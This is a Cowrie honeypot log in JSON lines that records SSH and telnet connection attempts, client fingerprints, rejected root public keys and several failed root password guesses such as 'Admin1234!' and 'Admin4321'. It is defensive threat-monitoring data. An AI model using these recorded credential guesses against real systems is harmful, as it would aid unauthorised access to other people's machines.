{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:18.612176Z","src_ip":"104.243.37.202","session":"0fb4d7c2db81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:18.632960Z","src_ip":"104.243.37.202","session":"0fb4d7c2db81","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:8f:0c:85:32:cc:7c:7b:e2:2b:d4:b4:4b:4a:12:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNKEo/KJSur9uXvJp7U3exX4KUSGHwKGh17qv5OelngWw3glPRT6KEYGLdBAazYBfBPxefnCgxVVIAt9wLkf4yjd/8GA9LvDtlI4WHFHV2W+GRc9lNujHuU4WVSCsj60kvuMios4VUpHM5Wl60XnwuhL8EZvuB8xOsLySir/eUwTKZ39aMkK28fn8TcRNbEvxmusPuHCeVbooJzAC5yYaeQPcg9gLzIiiXbpqhDePO5NP/qsx5rFyGnMQLUDiPsVEW5bAp2fdCXPomiyNGuzhmxf8nL2iiNZjHpsMlDn7vHvjbRHKFoOdjuOpAwhvMglZ4Ic0eYjCIftT9i/T8QIC2gp5HB69LZItZHY1jQc81HvPYUX3sqVymJPZKBmbrhSbO0yZvfDSQZjEMjy2BCMc27zLe2B28vvMOmMDNg4GH1mXs2dIlExg3KlZwPjbbb7X56Ek7nfGjIErgRC42cuTUScDrbN20mD05w2dJWKsHL5ipKBWrHrMOVxljwN8GXTy/fcgHZlyRPyRXDP0RjCxl22vhSdpaUHF4/3aLE8LhykOXabC3u9MjTVZgVlsAou9Ou5JntHBAXjC1q29YsnNgbcCPoreywfusfhZ8H5fsFQaHav2vR3Ndpusmt6D+CUYvD/QmDxgNmKPZCQCjWzlOX+XxHIDcx/iHxKAE3dw8XQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:8f:0c:85:32:cc:7c:7b:e2:2b:d4:b4:4b:4a:12:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:18.657553Z","src_ip":"104.243.37.202","session":"0fb4d7c2db81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:8f:0c:85:32:cc:7c:7b:e2:2b:d4:b4:4b:4a:12:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNKEo/KJSur9uXvJp7U3exX4KUSGHwKGh17qv5OelngWw3glPRT6KEYGLdBAazYBfBPxefnCgxVVIAt9wLkf4yjd/8GA9LvDtlI4WHFHV2W+GRc9lNujHuU4WVSCsj60kvuMios4VUpHM5Wl60XnwuhL8EZvuB8xOsLySir/eUwTKZ39aMkK28fn8TcRNbEvxmusPuHCeVbooJzAC5yYaeQPcg9gLzIiiXbpqhDePO5NP/qsx5rFyGnMQLUDiPsVEW5bAp2fdCXPomiyNGuzhmxf8nL2iiNZjHpsMlDn7vHvjbRHKFoOdjuOpAwhvMglZ4Ic0eYjCIftT9i/T8QIC2gp5HB69LZItZHY1jQc81HvPYUX3sqVymJPZKBmbrhSbO0yZvfDSQZjEMjy2BCMc27zLe2B28vvMOmMDNg4GH1mXs2dIlExg3KlZwPjbbb7X56Ek7nfGjIErgRC42cuTUScDrbN20mD05w2dJWKsHL5ipKBWrHrMOVxljwN8GXTy/fcgHZlyRPyRXDP0RjCxl22vhSdpaUHF4/3aLE8LhykOXabC3u9MjTVZgVlsAou9Ou5JntHBAXjC1q29YsnNgbcCPoreywfusfhZ8H5fsFQaHav2vR3Ndpusmt6D+CUYvD/QmDxgNmKPZCQCjWzlOX+XxHIDcx/iHxKAE3dw8XQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:18.662792Z","src_ip":"104.243.37.202","session":"0fb4d7c2db81","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:38:aa:bf:d7:fc:53:57:c8:d7:31:5b:71:69:d4:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbvEHP9cdqY1W8lF22a30ZaYiJO9rilZLn4xeleqrClftfzM9C7MNoYNOlMr6id9quMHwB8CL2rDqbw1p9O4Sg6N7p6RTivENFPt8M/XSvGnhejU19QnqdMSltVlRGKAkjIVyN+qOAinpI++foaixqCM9Fge6ambkGV+NQmuiJoeRI4CXYkfs4AMb0M8sWKUBUz7O44Fhqq3/C46+wdTUjZat27MfUVvtB2eZO9AbGukqPKlCQ4cOhz9yGZmnCfbVRNvZkHgUWOM26QkOaiA76J8VKXogTXiyCio+ccyf+2hzN0rMIxcBFlBUh26hmc8lUEBsdMJynLNt0BydfMXrZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:38:aa:bf:d7:fc:53:57:c8:d7:31:5b:71:69:d4:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:18.671495Z","src_ip":"104.243.37.202","session":"0fb4d7c2db81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:38:aa:bf:d7:fc:53:57:c8:d7:31:5b:71:69:d4:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbvEHP9cdqY1W8lF22a30ZaYiJO9rilZLn4xeleqrClftfzM9C7MNoYNOlMr6id9quMHwB8CL2rDqbw1p9O4Sg6N7p6RTivENFPt8M/XSvGnhejU19QnqdMSltVlRGKAkjIVyN+qOAinpI++foaixqCM9Fge6ambkGV+NQmuiJoeRI4CXYkfs4AMb0M8sWKUBUz7O44Fhqq3/C46+wdTUjZat27MfUVvtB2eZO9AbGukqPKlCQ4cOhz9yGZmnCfbVRNvZkHgUWOM26QkOaiA76J8VKXogTXiyCio+ccyf+2hzN0rMIxcBFlBUh26hmc8lUEBsdMJynLNt0BydfMXrZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:18.675707Z","src_ip":"104.243.37.202","session":"0fb4d7c2db81","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:66:ea:ce:45:d6:fe:56:28:01:4e:b9:af:c3:75:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYjMG0AVhmvTi9XYT+e9D03dtmREvctVlXFwemUUbmtHqBvglI5/inzRIUeg40AKbDz/NZXczUevmzU0Km3CFOMMEbitYiUkrTiLi/nMNNB2gUhJ3XRrGsYXN79je5Gv6TO5qm9wLmvHU9OqXqPjf8SB5dJ+DDN8uX4ks5HqNiDrHXP71W/x12FkGQpd470e4icUaRmo9GKyemFRsbtRy844OecCST3tj6+iiIOxwO6EzaNZR8dWcoM/vH0NKLGs8nQOFy7VMuP/lArbKE0Myq9d3L1Bw2/5a7tH7WU+k9Ht1TCiS11XYctpLBnD4u7fG7G9kDu87g7f3W7hWfyeTojHiaQXfKG6JeY66oy7RHz6hsiMFCk9XZ3oxswcimJ7kEDXKSeH/KTJggeG5kUpaTQb56jl7RwFsKR6wSOT3cNrJbB7vpgKn888iR/pa/fUxLYDm+yidYw+TRhjci/jQuNOqH8NTrVkdBAtYT2ouAAW6+TbDG3bKqDrznk0U84ns4DeX5grAfeXwYC2lMwk4DZeoxiPD9b2xReZ8Hon7GbqKcuZ4sl3GLz/f2sUHNsP+UG8Au3ljedBDUtcgq78//GYIC6zNorVt5XSt4TdJQiWs7lGxJkEMkj6pQIIR/aymkM8EJw28gF+sYpfIRqlIWePZw0/FfOgB2yX2a88KPEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:66:ea:ce:45:d6:fe:56:28:01:4e:b9:af:c3:75:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:18.684380Z","src_ip":"104.243.37.202","session":"0fb4d7c2db81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:66:ea:ce:45:d6:fe:56:28:01:4e:b9:af:c3:75:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYjMG0AVhmvTi9XYT+e9D03dtmREvctVlXFwemUUbmtHqBvglI5/inzRIUeg40AKbDz/NZXczUevmzU0Km3CFOMMEbitYiUkrTiLi/nMNNB2gUhJ3XRrGsYXN79je5Gv6TO5qm9wLmvHU9OqXqPjf8SB5dJ+DDN8uX4ks5HqNiDrHXP71W/x12FkGQpd470e4icUaRmo9GKyemFRsbtRy844OecCST3tj6+iiIOxwO6EzaNZR8dWcoM/vH0NKLGs8nQOFy7VMuP/lArbKE0Myq9d3L1Bw2/5a7tH7WU+k9Ht1TCiS11XYctpLBnD4u7fG7G9kDu87g7f3W7hWfyeTojHiaQXfKG6JeY66oy7RHz6hsiMFCk9XZ3oxswcimJ7kEDXKSeH/KTJggeG5kUpaTQb56jl7RwFsKR6wSOT3cNrJbB7vpgKn888iR/pa/fUxLYDm+yidYw+TRhjci/jQuNOqH8NTrVkdBAtYT2ouAAW6+TbDG3bKqDrznk0U84ns4DeX5grAfeXwYC2lMwk4DZeoxiPD9b2xReZ8Hon7GbqKcuZ4sl3GLz/f2sUHNsP+UG8Au3ljedBDUtcgq78//GYIC6zNorVt5XSt4TdJQiWs7lGxJkEMkj6pQIIR/aymkM8EJw28gF+sYpfIRqlIWePZw0/FfOgB2yX2a88KPEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:18.689492Z","src_ip":"104.243.37.202","session":"0fb4d7c2db81","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:38:18:21:63:32:05:a1:05:5d:0b:7e:d7:b4:7d:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDifM/y6ICLKcOJMsYQV0GIJInGwqVLQrAOBOiaonzojhoR1YxjAcfFe6gHTEQoBcJg6Xuo2/gspvj0ljYY9R8CC734Zex+8CexwdKpFrfAtH7h6gblCQYdLbt27Zx+UPd6D5DRsRhjmOZvU/6BdXyCb34s0SnGCdIioyJb9lfgIO8v0kAcNyi/cPODbg9sSZ6hgNMB0Z/C1rJxdJw1p7D0yIRbOhn1k8PsNp+2cGS1hP/SbqCZj82GNuacND++zqaq8VKAK5NFVQ4Gz3yRcPWxsn+AjP/j8t/Thagk8JxWJk54Fy6dlhnbEQ4wzaP9s6YIfjFhS+lkqGOt+Gk7QVOd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:38:18:21:63:32:05:a1:05:5d:0b:7e:d7:b4:7d:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:18.702259Z","src_ip":"104.243.37.202","session":"0fb4d7c2db81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:38:18:21:63:32:05:a1:05:5d:0b:7e:d7:b4:7d:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDifM/y6ICLKcOJMsYQV0GIJInGwqVLQrAOBOiaonzojhoR1YxjAcfFe6gHTEQoBcJg6Xuo2/gspvj0ljYY9R8CC734Zex+8CexwdKpFrfAtH7h6gblCQYdLbt27Zx+UPd6D5DRsRhjmOZvU/6BdXyCb34s0SnGCdIioyJb9lfgIO8v0kAcNyi/cPODbg9sSZ6hgNMB0Z/C1rJxdJw1p7D0yIRbOhn1k8PsNp+2cGS1hP/SbqCZj82GNuacND++zqaq8VKAK5NFVQ4Gz3yRcPWxsn+AjP/j8t/Thagk8JxWJk54Fy6dlhnbEQ4wzaP9s6YIfjFhS+lkqGOt+Gk7QVOd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:18.707520Z","src_ip":"104.243.37.202","session":"0fb4d7c2db81","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:73:f7:86:bc:91:f5:39:ff:55:65:97:4e:8e:2b:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJQJ7V9jKUH6AiRMSREhEAtPO5HJ3q2NicJcVZl8qgOI/jNJxzRrJhoNeq5Sdv18u2Ud4dhAnUKgEn7BeKR+OZlBVMmG0DofgWx3wvn4lw+Z+19HF6QM6idlMtrUxn82xEWYMbh2SiLAQAntes201l0EkIp1FDj1qHFUJISIMHhu6bCyN5nVDCPUobQolH/yEzQwo77KE8Yd8ysefnp/XbNVXEwjooxOK8u5j4c99tVP7xSC2sUYI6f4RZHuanJain3HJieV2GljgdrQ/IjBHQJAU/ASUmM/CT8ZqDHgLCeHlW3tVswMxZWemPyIMv+0rdNKGYKDF0RJndnUqpIpUP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:73:f7:86:bc:91:f5:39:ff:55:65:97:4e:8e:2b:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:18.716987Z","src_ip":"104.243.37.202","session":"0fb4d7c2db81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:73:f7:86:bc:91:f5:39:ff:55:65:97:4e:8e:2b:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJQJ7V9jKUH6AiRMSREhEAtPO5HJ3q2NicJcVZl8qgOI/jNJxzRrJhoNeq5Sdv18u2Ud4dhAnUKgEn7BeKR+OZlBVMmG0DofgWx3wvn4lw+Z+19HF6QM6idlMtrUxn82xEWYMbh2SiLAQAntes201l0EkIp1FDj1qHFUJISIMHhu6bCyN5nVDCPUobQolH/yEzQwo77KE8Yd8ysefnp/XbNVXEwjooxOK8u5j4c99tVP7xSC2sUYI6f4RZHuanJain3HJieV2GljgdrQ/IjBHQJAU/ASUmM/CT8ZqDHgLCeHlW3tVswMxZWemPyIMv+0rdNKGYKDF0RJndnUqpIpUP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:18.720939Z","src_ip":"104.243.37.202","session":"0fb4d7c2db81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:18.730178Z","src_ip":"104.243.37.202","session":"0fb4d7c2db81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42254,"dst_ip":"159.203.135.109","dst_port":23,"session":"57b87d75f3f0","protocol":"telnet","message":"New connection: 128.199.8.54:42254 (159.203.135.109:23) [session: 57b87d75f3f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:19.624119Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52258,"dst_ip":"159.203.135.109","dst_port":23,"session":"4aa6b892ab8b","protocol":"telnet","message":"New connection: 128.199.8.54:52258 (159.203.135.109:23) [session: 4aa6b892ab8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:34.982958Z"}
{"eventid":"cowrie.session.closed","duration":46.58469486236572,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:41.703097Z","src_ip":"128.199.8.54","session":"e379acdca2a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.31846570968628,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:58.942461Z","src_ip":"128.199.8.54","session":"57b87d75f3f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":58024,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5b780c04669","protocol":"ssh","message":"New connection: 27.71.230.31:58024 (159.203.135.109:22) [session: f5b780c04669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:19.945657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:20.907112Z","src_ip":"27.71.230.31","session":"f5b780c04669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:20.911475Z","src_ip":"27.71.230.31","session":"f5b780c04669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.96456813812256,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:21.947407Z","src_ip":"128.199.8.54","session":"4aa6b892ab8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":38134,"dst_ip":"10.17.0.5","dst_port":22,"session":"b521155c1d20","protocol":"ssh","message":"New connection: 182.93.50.90:38134 (10.17.0.5:22) [session: b521155c1d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:23.442240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:23.445089Z","src_ip":"182.93.50.90","session":"b521155c1d20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:23.659037Z","src_ip":"182.93.50.90","session":"b521155c1d20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1234!","message":"login attempt [root/Admin1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:24.514109Z","src_ip":"27.71.230.31","session":"f5b780c04669","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345Aa","message":"login attempt [root/12345Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:24.551064Z","src_ip":"182.93.50.90","session":"b521155c1d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:25.767881Z","src_ip":"182.93.50.90","session":"b521155c1d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:28.398806Z","src_ip":"27.71.230.31","session":"f5b780c04669","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":56300,"dst_ip":"159.203.135.109","dst_port":22,"session":"1273b35bb245","protocol":"ssh","message":"New connection: 216.155.93.75:56300 (159.203.135.109:22) [session: 1273b35bb245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:34.212564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:34.218587Z","src_ip":"216.155.93.75","session":"1273b35bb245","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:34.370545Z","src_ip":"216.155.93.75","session":"1273b35bb245","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin4321","message":"login attempt [root/Admin4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:35.009973Z","src_ip":"216.155.93.75","session":"1273b35bb245","protocol":"ssh"}
